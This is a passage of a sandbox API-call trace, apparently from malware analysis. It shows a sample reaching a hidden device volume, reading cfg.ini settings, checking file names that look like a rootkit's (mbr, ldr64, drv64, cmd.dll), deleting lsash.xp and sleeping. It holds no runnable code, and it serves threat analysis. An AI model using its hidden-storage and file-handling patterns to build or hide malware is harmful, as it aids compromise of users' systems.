FastMutex=0xfffffa80027d3898) [0128.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.138] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.138] IdePortDispatch () returned 0x103 [0128.138] KeWaitForMutexObject () returned 0x0 [0128.138] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.138] KeLeaveCriticalRegion () [0128.138] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.138] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.138] KeEnterCriticalRegion () [0128.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.138] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd1000 [0128.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.138] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.138] IdePortDispatch () returned 0x103 [0128.139] KeWaitForMutexObject () returned 0x0 [0128.139] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.139] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.139] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.139] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.139] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.139] IdePortDispatch () returned 0x103 [0128.139] KeWaitForMutexObject () returned 0x0 [0128.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.139] KeLeaveCriticalRegion () [0128.139] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.140] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.140] KeEnterCriticalRegion () [0128.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.140] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.140] KeLeaveCriticalRegion () [0128.140] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.140] KeEnterCriticalRegion () [0128.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.140] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.140] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfeac0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.140] KeLeaveCriticalRegion () [0128.140] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.140] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.140] KeEnterCriticalRegion () [0128.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.141] ExFreePoolWithTag (P=0xfffffa8003bfef10, Tag=0x0) [0128.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.141] KeLeaveCriticalRegion () [0128.141] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.141] ReleaseMutex (hMutex=0xf0) returned 1 [0128.141] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.141] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.141] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.141] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.141] KeEnterCriticalRegion () [0128.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.141] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.141] IdePortDispatch () returned 0x103 [0128.141] KeWaitForMutexObject () returned 0x0 [0128.141] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.141] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.141] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.141] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.141] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.141] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.141] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.141] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.141] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.142] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.142] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.142] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.142] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.142] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.142] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.142] KeLeaveCriticalRegion () [0128.142] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.142] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.142] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.142] KeEnterCriticalRegion () [0128.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.142] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.142] IdePortDispatch () returned 0x103 [0128.142] KeWaitForMutexObject () returned 0x0 [0128.142] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.142] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.142] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.142] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.142] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.142] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.142] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.142] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.142] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.142] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.143] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.143] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.143] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.143] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.143] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.143] KeLeaveCriticalRegion () [0128.143] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.143] ReleaseMutex (hMutex=0x100) returned 1 [0128.143] Sleep (dwMilliseconds=0x2bf20) [0128.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f94d770, dwHighDateTime=0x1d24fa4)) [0128.151] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.151] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.151] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.151] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.151] KeEnterCriticalRegion () [0128.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.151] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.151] IdePortDispatch () returned 0x103 [0128.152] KeWaitForMutexObject () returned 0x0 [0128.152] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.152] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.152] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.152] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.152] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.152] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfef10 [0128.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.152] KeLeaveCriticalRegion () [0128.152] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.152] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.152] KeEnterCriticalRegion () [0128.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.152] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.152] KeLeaveCriticalRegion () [0128.152] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.152] KeEnterCriticalRegion () [0128.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.152] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.152] IdePortDispatch () returned 0x103 [0128.153] KeWaitForMutexObject () returned 0x0 [0128.153] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.153] KeLeaveCriticalRegion () [0128.153] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.153] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.153] KeEnterCriticalRegion () [0128.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd4000 [0128.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.153] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.153] IdePortDispatch () returned 0x103 [0128.153] KeWaitForMutexObject () returned 0x0 [0128.153] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.154] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.154] IdePortDispatch () returned 0x103 [0128.154] KeWaitForMutexObject () returned 0x0 [0128.154] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.154] KeLeaveCriticalRegion () [0128.154] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.154] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.155] KeEnterCriticalRegion () [0128.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.155] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.155] KeLeaveCriticalRegion () [0128.155] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.155] KeEnterCriticalRegion () [0128.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.155] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.155] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.155] KeLeaveCriticalRegion () [0128.155] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.155] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.155] KeEnterCriticalRegion () [0128.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.155] ExFreePoolWithTag (P=0xfffffa8003bfef10, Tag=0x0) [0128.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.155] KeLeaveCriticalRegion () [0128.155] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.155] ReleaseMutex (hMutex=0xf0) returned 1 [0128.155] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.155] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.155] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.155] KeEnterCriticalRegion () [0128.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.155] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.155] IdePortDispatch () returned 0x103 [0128.155] KeWaitForMutexObject () returned 0x0 [0128.156] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.156] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.156] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.156] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.156] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.156] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039508e0 [0128.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.156] KeLeaveCriticalRegion () [0128.156] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.156] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.156] KeEnterCriticalRegion () [0128.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.156] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.156] KeLeaveCriticalRegion () [0128.156] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.156] KeEnterCriticalRegion () [0128.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.156] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.156] IdePortDispatch () returned 0x103 [0128.157] KeWaitForMutexObject () returned 0x0 [0128.157] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.157] KeLeaveCriticalRegion () [0128.157] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.157] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.157] KeEnterCriticalRegion () [0128.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.157] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd5000 [0128.157] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.157] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.157] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.157] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.157] IdePortDispatch () returned 0x103 [0128.157] KeWaitForMutexObject () returned 0x0 [0128.157] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.157] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.157] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.157] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.157] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.157] IdePortDispatch () returned 0x103 [0128.158] KeWaitForMutexObject () returned 0x0 [0128.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.158] KeLeaveCriticalRegion () [0128.158] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.158] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.158] KeEnterCriticalRegion () [0128.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.158] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.158] KeLeaveCriticalRegion () [0128.158] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.158] KeEnterCriticalRegion () [0128.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.158] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.159] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfeac0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.159] KeLeaveCriticalRegion () [0128.159] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.159] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.159] KeEnterCriticalRegion () [0128.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.159] ExFreePoolWithTag (P=0xfffffa80039508e0, Tag=0x0) [0128.159] ExReleaseFastMutexUnsafe (in: 